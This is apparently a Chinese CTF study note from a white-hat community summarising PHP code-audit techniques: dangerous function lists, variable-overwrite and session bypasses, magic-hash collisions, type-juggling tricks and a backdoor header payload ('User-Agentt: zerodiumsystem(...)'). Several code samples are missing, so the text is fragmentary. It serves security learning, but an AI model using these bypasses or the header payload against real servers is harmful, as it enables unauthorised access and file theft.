php代码审计总结
作者:tzzzez  编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
在php中可由用户输入的变量
$_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES
存在命令注入的函数
systemexecpassthrushell_execpopenproc_openpcntl_exec
存在XSS和CSRF的函数
echoprintfvprintf<%=$test%>
存在文件包含的函数
includeinclude_oncerequirerequire_onceshow_sourcehighlite_filereadfileflie_get_contentsfopen
存在代码注入的函数
evalpreg_replaceassertcall_user_funccall_user_func_arraycreate_function
存在SQL注入的语句
insertupdateselectdelete
文件管理函数
copyrmdirunlinkdeletefwritechmodfgetcfgetcsvfgetsfgetssfilefile_get_contentsfreadreadfileftruncatefile_put_contentsfputcsvfputs
对于此类函数,可以使用php伪协议进行一个绕过。
| 
  | 
GET形式传入参数a,a不能含有.,且变量a必须为WHT is a good family!
使用php伪协议进行一个传参。

文件上传函数
move_uploaded_file变量覆盖函数
extract| 
 | 
"extract($_GET)"此函数将GET传入的参数都重新赋值了, $content的值为flag.txt的内容,只有a和content的值相等时,才会输出flag,所以将$flag赋值一个不存在的文件,那么$content的值也就为空,此时$content也就变的可控了。
POC:
a=&flag=tzzzezSession绕过
| 
 | 
Session的password在未登陆时为空,我们只要上传一个空的paasword即可绕过。

比较相等绕过
MD5md5('240610708')==md5('QNKCDZO')md5('aabg7XSs')==md5('aabC9RqS')SHA1sha1('aaroZmOk')==sha1('aaK1STfY')sha1('aaO8zKZF')==sha1('aa3OFF9m')明文'0010e2'=='1e3''0x1234Ab'=='1193131''0xABCdef'==' 0xABCdef'
弱类型整型比较
| 
  | 
当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
POC:
password=1377aMD5函数true绕过
| 
  | 
ffifdyop
129581926211651571912466741651878684928
preg_match绕过
2.回溯次数限制绕过
3.添加换行符 \n 和 %0a
strpos()绕过
strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null。
sha1()绕过
| 
  | 

MD5碰撞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
0e开头的md5和原值:QNKCDZO0e830400451993494058024219903391QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675
PHP版本存在漏洞的函数
User-Agentt: zerodiumsystem("cat /flag");值不等MD5相等,用两个不能MD5转换的值就可以。
传数组,strcmp()用两个无法比较的值,数组和字符串不可比较。
评论
